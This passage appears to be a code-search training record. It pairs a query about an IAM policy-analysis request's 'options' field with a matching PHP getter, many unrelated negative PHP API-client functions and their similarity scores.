$query->where('status', self::STATUS_SPAM);\n }", "protected function getQuery() {\n if (isset($this->view->query) && $this->view->query instanceof SearchApiQuery) {\n return $this->view->query;\n }\n throw new SearchApiException('No matching Search API Views query found in view.');\n }", "public function getSnapshotAnalysis()\n {\n return isset($this->snapshot_analysis) ? $this->snapshot_analysis : null;\n }", "private function signQuery($query)\n {\n $stringToSign = \"GET\\n$this->host\\n$this->requestURI\\n$query\";\n $signature = base64_encode(hash_hmac('sha256', $stringToSign, $this->AWSSecretKey, true));\n $signature = str_replace(\"%7E\", \"~\", rawurlencode($signature));\n \n return $signature;\n }", "public function setQuery($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Cloud\\Dataplex\\V1\\SessionEvent\\QueryDetail::class);\n $this->writeOneof(5, $var);\n\n return $this;\n }", "private function getPersonalityInsightsQueryVariables()\n {\n $queryParams = [\n 'raw_scores' => $this->rawScores ? 'true' : 'false',\n 'consumption_preferences' => (string) $this->includeConsumption ? 'true' : 'false',\n 'version' => $this->version,\n ];\n\n return http_build_query($queryParams);\n }", "private function getSumoQuery() {\n $query = file_get_contents(__DIR__ . '/query.txt');\n $query = strtr($query, [\n '[site_realm]' => $this->profile->getSiteRealm(),\n '[site_short_name]' => $this->profile->getSiteShortName()\n ]);\n $query = trim(preg_replace('/\\s\\s+/', ' ', $query));\n $query = str_replace([\"\\n\", \"\\r\"], ' ', $query);\n if ($this->output->isVerbose()) {\n $this->output->writeln(\" > Debug: Sumologic query: {$query}\");\n }\n return $query;\n }", "public function scopeKnown($query){\n\n return $query->where('known', 1);\n\n }", "public function getQueryInsightsEnabled()\n {\n return $this->query_insights_enabled;\n }", "public function getStructuredQuery()\n {\n return $this->readOneof(1);\n }", "protected function updateNetworkTrafficAnalysisRequest($network_id, $update_network_traffic_analysis = null)\n {\n // verify the required parameter 'network_id' is set\n if ($network_id === null || (is_array($network_id) && count($network_id) === 0)) {\n throw new \\InvalidArgumentException(\n 'Missing the required parameter $network_id when calling updateNetworkTrafficAnalysis'\n );\n }\n\n $resourcePath = '/networks/{networkId}/trafficAnalysis';\n $formParams = [];\n $queryParams = [];\n $headerParams = [];\n $httpBody = '';\n $multipart = false;\n\n\n // path params\n if ($network_id !== null) {\n $resourcePath = str_replace(\n '{' . 'networkId' . '}',\n ObjectSerializer::toPathValue($network_id),\n $resourcePath\n );\n }\n\n // body params\n $_tempBody = null;\n if (isset($update_network_traffic_analysis)) {\n $_tempBody = $update_network_traffic_analysis;\n }\n\n if ($multipart) {\n $headers = $this->headerSelector->selectHeadersForMultipart(\n ['application/json']\n );\n } else {\n $headers = $this->headerSelector->selectHeaders(\n ['application/json'],\n ['application/json']\n );\n }\n\n // for model (json/xml)\n if (isset($_tempBody)) {\n // $_tempBody is the method argument, if present\n $httpBody = $_tempBody;\n \n if($headers['Content-Type'] === 'application/json') {\n // \\stdClass has no __toString(), so we should encode it manually\n if ($httpBody instanceof \\stdClass) {\n $httpBody = \\GuzzleHttp\\json_encode($httpBody);\n }\n // array has no __toString(), so we should encode it manually\n if(is_array($httpBody)) {\n $httpBody = \\GuzzleHttp\\json_encode(ObjectSerializer::sanitizeForSerialization($httpBody));\n }\n }\n } elseif (count($formParams) > 0) {\n if ($multipart) {\n $multipartContents = [];\n foreach ($formParams as $formParamName => $formParamValue) {\n $multipartContents[] = [\n 'name' => $formParamName,\n 'contents' => $formParamValue\n ];\n }\n // for HTTP post (form)\n $httpBody = new MultipartStream($multipartContents);\n\n } elseif ($headers['Content-Type'] === 'application/json') {\n $httpBody = \\GuzzleHttp\\json_encode($formParams);\n\n } else {\n // for HTTP post (form)\n $httpBody = \\GuzzleHttp\\Psr7\\build_query($formParams);\n }\n }\n\n // this endpoint requires API key authentication\n $apiKey = $this->config->getApiKeyWithPrefix('X-Cisco-Meraki-API-Key');\n if ($apiKey !== null) {\n $headers['X-Cisco-Meraki-API-Key'] = $apiKey;\n }\n\n $defaultHeaders = [];\n if ($this->config->getUserAgent()) {\n $defaultHeaders['User-Agent'] = $this->config->getUserAgent();\n }\n\n $headers = array_merge(\n $defaultHeaders,\n $headerParams,\n $headers\n );\n\n $query = \\GuzzleHttp\\Psr7\\build_query($queryParams);\n return new Request(\n 'PUT',\n $this->config->getHost() . $resourcePath . ($query ? \"?{$query}\" : ''),\n $headers,\n $httpBody\n );\n }" ]
[ "0.80308086", "0.7936706", "0.6959756", "0.5883232", "0.50452256", "0.49510476", "0.49100557", "0.48962894", "0.48788133", "0.47337845", "0.47315827", "0.46889594", "0.4678087", "0.46122992", "0.45374814", "0.45346907", "0.44465786", "0.44439048", "0.43869373", "0.43351737", "0.4283748", "0.42657122", "0.4150143", "0.41136003", "0.40973538", "0.40942848", "0.40690705", "0.40639773", "0.4019562", "0.40013653", "0.39981592", "0.39948076", "0.39689374", "0.39612648", "0.3956436", "0.39371935", "0.39370486", "0.39301252", "0.3924949", "0.39083984", "0.38889197", "0.3882185", "0.38536063", "0.38505572", "0.38505325", "0.38238916", "0.38224855", "0.38189864", "0.38132125", "0.38095644", "0.38041246", "0.38027826", "0.38001096", "0.37998307", "0.37946576", "0.37928665", "0.37882218", "0.3778724", "0.37687546", "0.37518117", "0.37477574", "0.374527", "0.37175307", "0.36905476", "0.36880693", "0.36760527", "0.36723226", "0.36670923", "0.36599457", "0.36584905", "0.36584905", "0.36554945", "0.36504713", "0.36501798", "0.36471328", "0.36459613", "0.3637227", "0.36357373", "0.3632671", "0.36279368", "0.36226124", "0.3620173", "0.3620173", "0.3617411", "0.36171615", "0.36136", "0.36120325", "0.36053246", "0.36037806", "0.36023223", "0.3596465", "0.3587808", "0.35841978", "0.3577847", "0.35751733", "0.35724288", "0.35613173", "0.35581023", "0.3542496", "0.35348433" ]
0.8251437
0
Optional. The request options. Generated from protobuf field .google.cloud.asset.v1p4beta1.AnalyzeIamPolicyRequest.Options options = 2 [(.google.api.field_behavior) = OPTIONAL];
public function getOptions() { return isset($this->options) ? $this->options : null; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function setOptions($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Cloud\\Asset\\V1p4beta1\\AnalyzeIamPolicyRequest\\Options::class);\n $this->options = $var;\n\n return $this;\n }", "public function getIamPolicyAnalysisQuery()\n {\n return $this->readOneof(1);\n }", "function analyze_iam_policy_sample(string $analysisQueryScope): void\n{\n // Create a client.\n $assetServiceClient = new AssetServiceClient();\n\n // Prepare any non-scalar elements to be passed along with the request.\n $analysisQuery = (new IamPolicyAnalysisQuery())\n ->setScope($analysisQueryScope);\n\n // Call the API and handle any network failures.\n try {\n /** @var AnalyzeIamPolicyResponse $response */\n $response = $assetServiceClient->analyzeIamPolicy($analysisQuery);\n printf('Response data: %s' . PHP_EOL, $response->serializeToJsonString());\n } catch (ApiException $ex) {\n printf('Call failed with message: %s' . PHP_EOL, $ex->getMessage());\n }\n}", "public function options(Request $request)\n {\n return [];\n }", "function Options( $url )\r\n\t{\r\n\t\tif( $this->debug & DBGTRACE ) echo \"Options( $url )\\n\";\r\n\t\t$this->responseHeaders = $this->responseBody = \"\";\r\n\t\t$uri = $this->makeUri( $url );\r\n\t\t\r\n\t\tif( $this->sendCommand( \"OPTIONS $uri HTTP/$this->protocolVersion\" ) )\r\n\t\t\t$this->processReply();\r\n\t\tif( @$this->responseHeaders[\"Allow\"] == NULL )\r\n\t\t\treturn NULL; \r\n\t\telse\r\n\t\t\treturn explode( \",\", $this->responseHeaders[\"Allow\"] );\r\n\t}", "public function describeCacheAnalysisReportWithOptions($request, $runtime)\n {\n Utils::validateModel($request);\n $query = [];\n if (!Utils::isUnset($request->analysisType)) {\n $query['AnalysisType'] = $request->analysisType;\n }\n if (!Utils::isUnset($request->date)) {\n $query['Date'] = $request->date;\n }\n if (!Utils::isUnset($request->instanceId)) {\n $query['InstanceId'] = $request->instanceId;\n }\n if (!Utils::isUnset($request->nodeId)) {\n $query['NodeId'] = $request->nodeId;\n }\n if (!Utils::isUnset($request->ownerAccount)) {\n $query['OwnerAccount'] = $request->ownerAccount;\n }\n if (!Utils::isUnset($request->ownerId)) {\n $query['OwnerId'] = $request->ownerId;\n }\n if (!Utils::isUnset($request->pageNumbers)) {\n $query['PageNumbers'] = $request->pageNumbers;\n }\n if (!Utils::isUnset($request->pageSize)) {\n $query['PageSize'] = $request->pageSize;\n }\n if (!Utils::isUnset($request->resourceOwnerAccount)) {\n $query['ResourceOwnerAccount'] = $request->resourceOwnerAccount;\n }\n if (!Utils::isUnset($request->resourceOwnerId)) {\n $query['ResourceOwnerId'] = $request->resourceOwnerId;\n }\n if (!Utils::isUnset($request->securityToken)) {\n $query['SecurityToken'] = $request->securityToken;\n }\n $req = new OpenApiRequest([\n 'query' => OpenApiUtilClient::query($query),\n ]);\n $params = new Params([\n 'action' => 'DescribeCacheAnalysisReport',\n 'version' => '2015-01-01',\n 'protocol' => 'HTTPS',\n 'pathname' => '/',\n 'method' => 'POST',\n 'authType' => 'AK',\n 'style' => 'RPC',\n 'reqBodyType' => 'formData',\n 'bodyType' => 'json',\n ]);\n\n return DescribeCacheAnalysisReportResponse::fromMap($this->callApi($params, $req, $runtime));\n }", "public function options();", "public function options();", "public function options();", "public function options();", "public function options();", "public function options()\n {\n return $this->setMethod(__FUNCTION__)\n ->makeRequest();\n }", "public function options(array $options);", "protected function getOptions()\n\t{\n\t\treturn array(\n\t\t\tarray('hitid', null, InputOption::VALUE_OPTIONAL, 'AMT HIT ID.', null)\n\t\t);\n\t}", "public function isOptions()\n {\n return $this->getMethod() === 'OPTIONS';\n }", "public function options() {}", "public function getDefinedOptions();", "public function _getOptions($options)\n {\n }", "public function isOptions()\n {\n return ($this->getMethod() == 'OPTIONS') ? true : false;\n }", "public function getOptions() {\n if (!isset($this->uri)) {\n throw new \\LogicException('A URI must be set before calling getOptions().');\n }\n\n $options = parent::getOptions();\n $options['ACL'] = 'public-read';\n\n if ($this->useRrs()) {\n $options['StorageClass'] = 'REDUCED_REDUNDANCY';\n }\n\n return $options;\n }", "public function isOptions()\n {\n return $this->isMethod('OPTIONS');\n }", "public function isOptions()\n {\n return $this->isMethod('OPTIONS');\n }", "public function getRequiredOptions();", "public function setIamPolicyAnalysisQuery($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Cloud\\Asset\\V1\\IamPolicyAnalysisQuery::class);\n $this->writeOneof(1, $var);\n\n return $this;\n }", "public function getOptions() {}", "public function getOptions() {}", "public function getOptions() {}", "protected function getOptions()\n {\n return array(\n array('nationality', null, InputOption::VALUE_OPTIONAL, 'The host address to serve the application on.', 'au'),\n\n array('limit', null, InputOption::VALUE_OPTIONAL, 'The port to serve the application on.', '100'),\n );\n }", "public function isOptions() {\n\t\tif ('OPTIONS' == $this->getMethod())\n\t\t{\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}", "public function describeApisWithOptions($request, $runtime)\n {\n Utils::validateModel($request);\n $query = [];\n if (!Utils::isUnset($request->apiId)) {\n $query['ApiId'] = $request->apiId;\n }\n if (!Utils::isUnset($request->apiMethod)) {\n $query['ApiMethod'] = $request->apiMethod;\n }\n if (!Utils::isUnset($request->apiName)) {\n $query['ApiName'] = $request->apiName;\n }\n if (!Utils::isUnset($request->apiPath)) {\n $query['ApiPath'] = $request->apiPath;\n }\n if (!Utils::isUnset($request->catalogId)) {\n $query['CatalogId'] = $request->catalogId;\n }\n if (!Utils::isUnset($request->enableTagAuth)) {\n $query['EnableTagAuth'] = $request->enableTagAuth;\n }\n if (!Utils::isUnset($request->groupId)) {\n $query['GroupId'] = $request->groupId;\n }\n if (!Utils::isUnset($request->pageNumber)) {\n $query['PageNumber'] = $request->pageNumber;\n }\n if (!Utils::isUnset($request->pageSize)) {\n $query['PageSize'] = $request->pageSize;\n }\n if (!Utils::isUnset($request->securityToken)) {\n $query['SecurityToken'] = $request->securityToken;\n }\n if (!Utils::isUnset($request->stageName)) {\n $query['StageName'] = $request->stageName;\n }\n if (!Utils::isUnset($request->tag)) {\n $query['Tag'] = $request->tag;\n }\n if (!Utils::isUnset($request->unDeployed)) {\n $query['UnDeployed'] = $request->unDeployed;\n }\n if (!Utils::isUnset($request->visibility)) {\n $query['Visibility'] = $request->visibility;\n }\n $req = new OpenApiRequest([\n 'query' => OpenApiUtilClient::query($query),\n ]);\n $params = new Params([\n 'action' => 'DescribeApis',\n 'version' => '2016-07-14',\n 'protocol' => 'HTTPS',\n 'pathname' => '/',\n 'method' => 'POST',\n 'authType' => 'AK',\n 'style' => 'RPC',\n 'reqBodyType' => 'formData',\n 'bodyType' => 'json',\n ]);\n\n return DescribeApisResponse::fromMap($this->callApi($params, $req, $runtime));\n }", "abstract function options();", "public function isOptions()\n\t{\n\t\treturn $this->httpMethod() == self::MethodOptions;\n\t}", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function setAnalysisQuery($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Cloud\\Asset\\V1p4beta1\\IamPolicyAnalysisQuery::class);\n $this->analysis_query = $var;\n\n return $this;\n }", "public function actionOptions() //OPTIONS\n {\n $options = ['GET', 'HEAD', 'PUT', 'POST', 'OPTIONS'];\n Yii::$app->getResponse()->getHeaders()->set('Allow', implode(', ', $options));\n }", "public function options()\n\t{\n\t\treturn [];\n\t}", "public static function isOptionsRequest()\n {\n return isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] == 'OPTIONS';\n }", "public function describeCacheAnalysisReportListWithOptions($request, $runtime)\n {\n Utils::validateModel($request);\n $query = [];\n if (!Utils::isUnset($request->days)) {\n $query['Days'] = $request->days;\n }\n if (!Utils::isUnset($request->instanceId)) {\n $query['InstanceId'] = $request->instanceId;\n }\n if (!Utils::isUnset($request->nodeId)) {\n $query['NodeId'] = $request->nodeId;\n }\n if (!Utils::isUnset($request->ownerAccount)) {\n $query['OwnerAccount'] = $request->ownerAccount;\n }\n if (!Utils::isUnset($request->ownerId)) {\n $query['OwnerId'] = $request->ownerId;\n }\n if (!Utils::isUnset($request->pageNumbers)) {\n $query['PageNumbers'] = $request->pageNumbers;\n }\n if (!Utils::isUnset($request->pageSize)) {\n $query['PageSize'] = $request->pageSize;\n }\n if (!Utils::isUnset($request->resourceOwnerAccount)) {\n $query['ResourceOwnerAccount'] = $request->resourceOwnerAccount;\n }\n if (!Utils::isUnset($request->resourceOwnerId)) {\n $query['ResourceOwnerId'] = $request->resourceOwnerId;\n }\n if (!Utils::isUnset($request->securityToken)) {\n $query['SecurityToken'] = $request->securityToken;\n }\n $req = new OpenApiRequest([\n 'query' => OpenApiUtilClient::query($query),\n ]);\n $params = new Params([\n 'action' => 'DescribeCacheAnalysisReportList',\n 'version' => '2015-01-01',\n 'protocol' => 'HTTPS',\n 'pathname' => '/',\n 'method' => 'POST',\n 'authType' => 'AK',\n 'style' => 'RPC',\n 'reqBodyType' => 'formData',\n 'bodyType' => 'json',\n ]);\n\n return DescribeCacheAnalysisReportListResponse::fromMap($this->callApi($params, $req, $runtime));\n }", "public function configureOptions();", "public function testWithVariationsOfDecideOptions(): void\n {\n $options = [\n OptimizelyDecideOption::INCLUDE_REASONS,\n // OptimizelyDecideOption::DISABLE_DECISION_EVENT,\n // OptimizelyDecideOption::ENABLED_FLAGS_ONLY, // ⬅️ Disable some of your flags\n // OptimizelyDecideOption::IGNORE_USER_PROFILE_SERVICE,\n // OptimizelyDecideOption::EXCLUDE_VARIABLES,\n ];\n\n $decision = $this->userContext->decide(FLAG_KEY, $options);\n\n $this->printDecision($decision, 'Modify the OptimizelyDecideOptions and check the decision variables expected');\n }", "public function getIsOptions()\n {\n return $this->getMethod() === 'OPTIONS';\n }", "public function isOptions()\n {\n return $this->method === self::METHOD_OPTIONS;\n }", "protected function getOptions()\n\t{\n\t\treturn [\n\t\t\t['attach', '-a', InputOption::VALUE_OPTIONAL, 'The pipes to attach to the workflow.', null],\n\t\t\t['unguard', '-u', InputOption::VALUE_NONE, 'Do not make this workflow validate data.', null],\n\t\t];\n\t}", "public function options(NovaRequest $request): array\n {\n return array_flip(Module::SKILL_LEVELS);\n }", "public function describeApisByIpControlWithOptions($request, $runtime)\n {\n Utils::validateModel($request);\n $query = [];\n if (!Utils::isUnset($request->ipControlId)) {\n $query['IpControlId'] = $request->ipControlId;\n }\n if (!Utils::isUnset($request->pageNumber)) {\n $query['PageNumber'] = $request->pageNumber;\n }\n if (!Utils::isUnset($request->pageSize)) {\n $query['PageSize'] = $request->pageSize;\n }\n if (!Utils::isUnset($request->securityToken)) {\n $query['SecurityToken'] = $request->securityToken;\n }\n $req = new OpenApiRequest([\n 'query' => OpenApiUtilClient::query($query),\n ]);\n $params = new Params([\n 'action' => 'DescribeApisByIpControl',\n 'version' => '2016-07-14',\n 'protocol' => 'HTTPS',\n 'pathname' => '/',\n 'method' => 'POST',\n 'authType' => 'AK',\n 'style' => 'RPC',\n 'reqBodyType' => 'formData',\n 'bodyType' => 'json',\n ]);\n\n return DescribeApisByIpControlResponse::fromMap($this->callApi($params, $req, $runtime));\n }", "public function getRequiredOptions(): array\n {\n return ['constraints'];\n }", "public function testWithVariationsOfDecideOptions(): void\n {\n $options = [\n OptimizelyDecideOption::INCLUDE_REASONS,\n // OptimizelyDecideOption::DISABLE_DECISION_EVENT,\n // OptimizelyDecideOption::ENABLED_FLAGS_ONLY, // ⬅️ Disable some of your flags\n // OptimizelyDecideOption::IGNORE_USER_PROFILE_SERVICE,\n // OptimizelyDecideOption::EXCLUDE_VARIABLES,\n ];\n\n $decision = $this->userContext->decideForKeys(FLAG_KEYS, $options);\n\n $this->printDecisions($decision, \"Modify the OptimizelyDecideOptions and check all the decisions' are as expected\");\n }", "protected function createOptions()\n {\n $isPng = ($this->getMimeTypeOfSource() == 'image/png');\n\n $this->options2 = new Options();\n $this->options2->addOptions(\n new IntegerOption('alpha-quality', 85, 0, 100),\n new BooleanOption('auto-filter', false),\n new IntegerOption('default-quality', ($isPng ? 85 : 75), 0, 100),\n new StringOption('encoding', 'auto', ['lossy', 'lossless', 'auto']),\n new BooleanOption('low-memory', false),\n new BooleanOption('log-call-arguments', false),\n new IntegerOption('max-quality', 85, 0, 100),\n new MetadataOption('metadata', 'none'),\n new IntegerOption('method', 6, 0, 6),\n new IntegerOption('near-lossless', 60, 0, 100),\n new StringOption('preset', 'none', ['none', 'default', 'photo', 'picture', 'drawing', 'icon', 'text']),\n new QualityOption('quality', ($isPng ? 85 : 'auto')),\n new IntegerOrNullOption('size-in-percentage', null, 0, 100),\n new BooleanOption('skip', false),\n new BooleanOption('use-nice', false),\n new ArrayOption('jpeg', []),\n new ArrayOption('png', [])\n );\n }", "protected function getOptions() {}", "protected function _getOptions() { return array(); }", "protected function getOptions() {}", "protected function getOptions() {}", "public function options(Request $request)\n {\n return [\n '有解析' => '有解析',\n '无解析' => '无解析',\n ];\n }", "public function getOptions(Request $request): array;", "abstract protected function options(): array;", "public function optionsAction(): Response\n {\n $response = new Response();\n\n $response->headers->set('Allow', 'GET, OPTIONS');\n\n return $response;\n }", "public function optionsAction(): Response\n {\n $response = new Response();\n\n $response->headers->set('Allow', 'GET, OPTIONS');\n\n return $response;\n }", "public function getOptions()\n {\n return $this->target->getOptions();\n }", "protected function getOptions()\r\n {\r\n return [\r\n ['views', null, InputOption::VALUE_OPTIONAL, 'Only Create authentication views.', false],\r\n ['force', null, InputOption::VALUE_OPTIONAL, 'Overwrite existing files.', false],\r\n ];\r\n }", "public function getOptions() {\n $opts = $this->query['opts'];\n unset($opts[CURLOPT_FILE]);\n if (isset($opts[CURLOPT_WRITEHEADER])) {\n unset($opts[CURLOPT_WRITEHEADER]);\n }\n return $opts;\n }", "abstract public function getOptions();", "public function options($options = [])\n {\n //TODO 客户端异步加载数据项\n\n return $this->baseOptions($options);\n }", "protected function getOptions()\n {\n return [\n ['api', null, InputOption::VALUE_NONE, 'Exclude the create and edit methods from the controller.'],\n ];\n }", "protected function getOptions()\n {\n return [\n ];\n }", "protected function getOptions()\n {\n return [\n ];\n }", "protected function getOptions()\n {\n return [\n ];\n }", "protected function getOptions()\n {\n return [\n ];\n }", "protected function getOptions()\n {\n return [\n ];\n }", "function mfcs_get_audience_list_options($option = NULL, $hidden = FALSE, $disabled = FALSE) {\n $options = array();\n $options_all = array();\n\n if ($hidden) {\n $options_all[MFCS_REQUEST_AUDIENCE_NONE] = 'None';\n }\n\n $options_all[MFCS_REQUEST_AUDIENCE_GUESTS_ONLY] = 'Invited Guests Only';\n $options_all[MFCS_REQUEST_AUDIENCE_STUDENTS_ONLY] = 'Students Only';\n $options_all[MFCS_REQUEST_AUDIENCE_STUDENTS_AND_EMPLOYEES] = 'Open to all Students and Employees';\n $options_all[MFCS_REQUEST_AUDIENCE_FACULTY_AND_STAFF] = 'Faculty and Staff Only';\n $options_all[MFCS_REQUEST_AUDIENCE_PUBLIC] = 'Open to the Public';\n\n if ($option == 'select') {\n $options[''] = '- Select -';\n }\n\n foreach ($options_all as $option_id => $option_name) {\n $options[$option_id] = $option_name;\n }\n\n asort($options);\n\n return $options;\n}", "public function getOptions(): array;", "public function getOptions(): array;", "public function getOptions(): array;", "public function getOptions(): array;", "public function getOptions(): array;", "public function getOptions(): array;", "public function getOptions(): array;", "protected function getOptions() {\n return [];\n }", "protected function getOptions() {\n return [];\n }", "protected function getOptions()\n\t{\n\t\treturn [\n\t\t];\n\t}", "public function getOptions()\r\n {\r\n }", "public function processRFSOption(array $options)\n {\n if (isset($options[static::TOKEN_LABEL])) {\n $this->query['access_token'] = $options[static::TOKEN_LABEL];\n }\n }", "protected function filterRequestOption(array &$options)\n {\n if (isset($options['json'])) {\n $options['format'] = 'json';\n } elseif (!isset($options['format'])) {\n $options['format'] = $this->getFormat();\n }\n\n // Set correct headers for this format\n switch ($options['format']) {\n case 'simple_xml':\n $options['simple_xml'] = true;\n // simple_xml is still xml. This should fall through\n case 'xml':\n $options['headers']['Content-Type'] = 'text/xml';\n break;\n case 'json':\n $options['headers']['Content-Type'] = 'application/json';\n $options['headers']['x-li-format'] = 'json';\n $options['query']['format'] = 'json';\n break;\n default:\n // Do nothing\n }\n unset($options['format']);\n }", "protected function getOptions()\r\n {\r\n return [\r\n\r\n ];\r\n }", "public function isOptions(): bool\n {\n return $this->getMethod() === self::METHOD_OPTIONS;\n }", "public function options()\n {\n return $this->options ?: [];\n }", "protected static abstract function getOptions();" ]
[ "0.8181363", "0.5209625", "0.49348474", "0.48422602", "0.4811319", "0.47661403", "0.46841764", "0.46841764", "0.46841764", "0.46841764", "0.46841764", "0.46600384", "0.4581411", "0.45696872", "0.45582387", "0.45573792", "0.45428148", "0.45280638", "0.45234486", "0.45220596", "0.45115513", "0.45115513", "0.44978112", "0.44731638", "0.44683975", "0.44683975", "0.44675156", "0.4426626", "0.4421178", "0.44152462", "0.44086295", "0.4393377", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43870336", "0.43709826", "0.4350045", "0.43482843", "0.43402034", "0.43392077", "0.4315049", "0.43142658", "0.43139574", "0.42994472", "0.42954463", "0.42882043", "0.42793304", "0.42770135", "0.42756703", "0.42732006", "0.4269246", "0.42671958", "0.42657176", "0.42657176", "0.42555147", "0.42500192", "0.42489508", "0.42412144", "0.42412144", "0.4221116", "0.42135036", "0.42125812", "0.42089313", "0.41989842", "0.4194786", "0.41936707", "0.41936707", "0.41936707", "0.41936707", "0.41936707", "0.4191655", "0.4190362", "0.4190362", "0.4190362", "0.4190362", "0.4190362", "0.4190362", "0.4190362", "0.41873908", "0.41873908", "0.41871026", "0.41865674", "0.4179144", "0.41753638", "0.41746324", "0.41740793", "0.4171319", "0.4169878" ]
0.0
-1
Optional. The request options. Generated from protobuf field .google.cloud.asset.v1p4beta1.AnalyzeIamPolicyRequest.Options options = 2 [(.google.api.field_behavior) = OPTIONAL];
public function setOptions($var) { GPBUtil::checkMessage($var, \Google\Cloud\Asset\V1p4beta1\AnalyzeIamPolicyRequest\Options::class); $this->options = $var; return $this; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getIamPolicyAnalysisQuery()\n {\n return $this->readOneof(1);\n }", "function analyze_iam_policy_sample(string $analysisQueryScope): void\n{\n // Create a client.\n $assetServiceClient = new AssetServiceClient();\n\n // Prepare any non-scalar elements to be passed along with the request.\n $analysisQuery = (new IamPolicyAnalysisQuery())\n ->setScope($analysisQueryScope);\n\n // Call the API and handle any network failures.\n try {\n /** @var AnalyzeIamPolicyResponse $response */\n $response = $assetServiceClient->analyzeIamPolicy($analysisQuery);\n printf('Response data: %s' . PHP_EOL, $response->serializeToJsonString());\n } catch (ApiException $ex) {\n printf('Call failed with message: %s' . PHP_EOL, $ex->getMessage());\n }\n}", "public function options(Request $request)\n {\n return [];\n }", "function Options( $url )\r\n\t{\r\n\t\tif( $this->debug & DBGTRACE ) echo \"Options( $url )\\n\";\r\n\t\t$this->responseHeaders = $this->responseBody = \"\";\r\n\t\t$uri = $this->makeUri( $url );\r\n\t\t\r\n\t\tif( $this->sendCommand( \"OPTIONS $uri HTTP/$this->protocolVersion\" ) )\r\n\t\t\t$this->processReply();\r\n\t\tif( @$this->responseHeaders[\"Allow\"] == NULL )\r\n\t\t\treturn NULL; \r\n\t\telse\r\n\t\t\treturn explode( \",\", $this->responseHeaders[\"Allow\"] );\r\n\t}", "public function describeCacheAnalysisReportWithOptions($request, $runtime)\n {\n Utils::validateModel($request);\n $query = [];\n if (!Utils::isUnset($request->analysisType)) {\n $query['AnalysisType'] = $request->analysisType;\n }\n if (!Utils::isUnset($request->date)) {\n $query['Date'] = $request->date;\n }\n if (!Utils::isUnset($request->instanceId)) {\n $query['InstanceId'] = $request->instanceId;\n }\n if (!Utils::isUnset($request->nodeId)) {\n $query['NodeId'] = $request->nodeId;\n }\n if (!Utils::isUnset($request->ownerAccount)) {\n $query['OwnerAccount'] = $request->ownerAccount;\n }\n if (!Utils::isUnset($request->ownerId)) {\n $query['OwnerId'] = $request->ownerId;\n }\n if (!Utils::isUnset($request->pageNumbers)) {\n $query['PageNumbers'] = $request->pageNumbers;\n }\n if (!Utils::isUnset($request->pageSize)) {\n $query['PageSize'] = $request->pageSize;\n }\n if (!Utils::isUnset($request->resourceOwnerAccount)) {\n $query['ResourceOwnerAccount'] = $request->resourceOwnerAccount;\n }\n if (!Utils::isUnset($request->resourceOwnerId)) {\n $query['ResourceOwnerId'] = $request->resourceOwnerId;\n }\n if (!Utils::isUnset($request->securityToken)) {\n $query['SecurityToken'] = $request->securityToken;\n }\n $req = new OpenApiRequest([\n 'query' => OpenApiUtilClient::query($query),\n ]);\n $params = new Params([\n 'action' => 'DescribeCacheAnalysisReport',\n 'version' => '2015-01-01',\n 'protocol' => 'HTTPS',\n 'pathname' => '/',\n 'method' => 'POST',\n 'authType' => 'AK',\n 'style' => 'RPC',\n 'reqBodyType' => 'formData',\n 'bodyType' => 'json',\n ]);\n\n return DescribeCacheAnalysisReportResponse::fromMap($this->callApi($params, $req, $runtime));\n }", "public function options();", "public function options();", "public function options();", "public function options();", "public function options();", "public function options()\n {\n return $this->setMethod(__FUNCTION__)\n ->makeRequest();\n }", "public function options(array $options);", "protected function getOptions()\n\t{\n\t\treturn array(\n\t\t\tarray('hitid', null, InputOption::VALUE_OPTIONAL, 'AMT HIT ID.', null)\n\t\t);\n\t}", "public function isOptions()\n {\n return $this->getMethod() === 'OPTIONS';\n }", "public function options() {}", "public function getDefinedOptions();", "public function _getOptions($options)\n {\n }", "public function isOptions()\n {\n return ($this->getMethod() == 'OPTIONS') ? true : false;\n }", "public function getOptions() {\n if (!isset($this->uri)) {\n throw new \\LogicException('A URI must be set before calling getOptions().');\n }\n\n $options = parent::getOptions();\n $options['ACL'] = 'public-read';\n\n if ($this->useRrs()) {\n $options['StorageClass'] = 'REDUCED_REDUNDANCY';\n }\n\n return $options;\n }", "public function isOptions()\n {\n return $this->isMethod('OPTIONS');\n }", "public function isOptions()\n {\n return $this->isMethod('OPTIONS');\n }", "public function getRequiredOptions();", "public function setIamPolicyAnalysisQuery($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Cloud\\Asset\\V1\\IamPolicyAnalysisQuery::class);\n $this->writeOneof(1, $var);\n\n return $this;\n }", "public function getOptions() {}", "public function getOptions() {}", "public function getOptions() {}", "protected function getOptions()\n {\n return array(\n array('nationality', null, InputOption::VALUE_OPTIONAL, 'The host address to serve the application on.', 'au'),\n\n array('limit', null, InputOption::VALUE_OPTIONAL, 'The port to serve the application on.', '100'),\n );\n }", "public function isOptions() {\n\t\tif ('OPTIONS' == $this->getMethod())\n\t\t{\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}", "public function describeApisWithOptions($request, $runtime)\n {\n Utils::validateModel($request);\n $query = [];\n if (!Utils::isUnset($request->apiId)) {\n $query['ApiId'] = $request->apiId;\n }\n if (!Utils::isUnset($request->apiMethod)) {\n $query['ApiMethod'] = $request->apiMethod;\n }\n if (!Utils::isUnset($request->apiName)) {\n $query['ApiName'] = $request->apiName;\n }\n if (!Utils::isUnset($request->apiPath)) {\n $query['ApiPath'] = $request->apiPath;\n }\n if (!Utils::isUnset($request->catalogId)) {\n $query['CatalogId'] = $request->catalogId;\n }\n if (!Utils::isUnset($request->enableTagAuth)) {\n $query['EnableTagAuth'] = 